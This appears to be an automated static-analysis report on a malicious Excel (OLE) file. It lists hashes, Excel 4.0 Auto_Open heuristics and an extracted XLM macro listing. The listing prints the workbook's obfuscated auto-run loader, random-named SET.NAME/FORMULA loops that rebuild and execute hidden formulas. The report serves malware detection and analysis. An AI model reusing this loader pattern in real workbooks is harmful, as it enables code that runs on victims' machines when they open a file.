Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ab7ab0eb4fd8e9e7…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:59 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 97bf1af930502fa015b26e027f3c67fd SHA-1: a917d8cd236987c781fc5c5528953d142ce7c079 SHA-256: ab7ab0eb4fd8e9e78baead0f43984b1c3b3c8857bded03b02165038c82f1ee9c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6447 bytes
SHA-256: e9a779ac0f0b171aed3dfad0b52d2fc10b85eda054cd4c487a43a3654a159777
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  nCJNk
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E158 
' 0018     23 LABEL : Cell Value, String Constant - awBgyMVG len=0 
' 0018     27 LABEL : Cell Value, String Constant - CXZWUilrAmYK len=0 
' 0018     21 LABEL : Cell Value, String Constant - EdKMvR len=0 
' 0018     27 LABEL : Cell Value, String Constant - euXjVUwhunxd len=0 
' 0018     25 LABEL : Cell Value, String Constant - kUnkyiidSX len=0 
' 0018     23 LABEL : Cell Value, String Constant - LMOTSlYA len=0 
' 0018     26 LABEL : Cell Value, String Constant - ltjxWrMuXnr len=0 
' 0018     27 LABEL : Cell Value, String Constant - nuZWShMdtJCw len=0 
' 0018     22 LABEL : Cell Value, String Constant - paJqGpY len=0 
' 0018     20 LABEL : Cell Value, String Constant - RDJlM len=0 
' 0018     20 LABEL : Cell Value, String Constant - Rlygt len=0 
' 0018     21 LABEL : Cell Value, String Constant - TdaMcX len=0 
' 0018     27 LABEL : Cell Value, String Constant - uBrFoXUfATIS len=0 
' 0018     21 LABEL : Cell Value, String Constant - uYXKGs len=0 
' 0018     21 LABEL : Cell Value, String Constant - VIlWBs len=0 
' 0018     25 LABEL : Cell Value, String Constant - WOyQVZpvbu len=0 
' 0018     25 LABEL : Cell Value, String Constant - XVMMnvadoM len=0 
' 0018     26 LABEL : Cell Value, String Constant - YgKogUgnLmw len=0 
' 0018     25 LABEL : Cell Value, String Constant - yVzcSuBTAU len=0 
' 0018     20 LABEL : Cell Value, String Constant - Zeiuu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  nCJNk,E61,"SET.NAME("kUnkyiidSX",VALUE("0"))",""
'  nCJNk,E65,"SET.NAME("YgKogUgnLmw",kUnkyiidSX)",""
'  nCJNk,E68,"SET.NAME("XVMMnvadoM",kUnkyiidSX)",""
'  nCJNk,E70,"SET.NAME("paJqGpY",COUNTA(EdKMvR))",""
'  nCJNk,E74,"SET.NAME("Zeiuu",COUNTA(LMOTSlYA))",""
'  nCJNk,E77,[],""
'  nCJNk,E80,"SET.NAME("uYXKGs","")",""
'  nCJNk,E82,"YgKogUgnLmw",""
'  nCJNk,E87,"SET.NAME("awBgyMVG",HLOOKUP("*",EdKMvR,YgKogUgnLmw,FALSE))",""
'  nCJNk,E92,"CXZWUilrAmYK",""
'  nCJNk,E97,"SET.NAME("VIlWBs",kUnkyiidSX)",""
'  nCJNk,E102,[],""
'  nCJNk,E107,"VIlWBs",""
'  nCJNk,E111,"yVzcSuBTAU",""
'  nCJNk,E115,"euXjVUwhunxd",""
'  nCJNk,E119,"nuZWShMdtJCw",""
'  nCJNk,E121,"SET.NAME("WOyQVZpvbu",VALUE(HLOOKUP("*",LMOTSlYA,nuZWShMdtJCw,FALSE)))",""
'  nCJNk,E123,"RDJlM",""
'  nCJNk,E128,"uYXKGs",""
'  nCJNk,E133,"XVMMnvadoM",""
'  nCJNk,E137,NEXT(),""
'  nCJNk,E140,"uBrFoXUfATIS",""
'  nCJNk,E145,"SET.NAME("f",INT(T(FORMULA(T(uYXKGs)&"",""&T(uBrFoXUfATIS)))))",""
'  nCJNk,E147,"ltjxWrMuXnr",""
'  nCJNk,E151,NEXT(),""
'  nCJNk,E153,RETURN(),""
'  nCJNk,E188,"SET.NAME("TdaMcX",E61)",""
'  nCJNk,E193,"EdKMvR",""
'  nCJNk,E197,"SET.NAME("LMOTSlYA",R78C11)",""
'  nCJNk,E202,"SET.NAME("ltjxWrMuXnr",210)",""
'  nCJNk,E204,"SET.NAME("Rlygt",5)",""
'  nCJNk,E209,TdaMcX(),""
'  nCJNk,E210,HALT(),""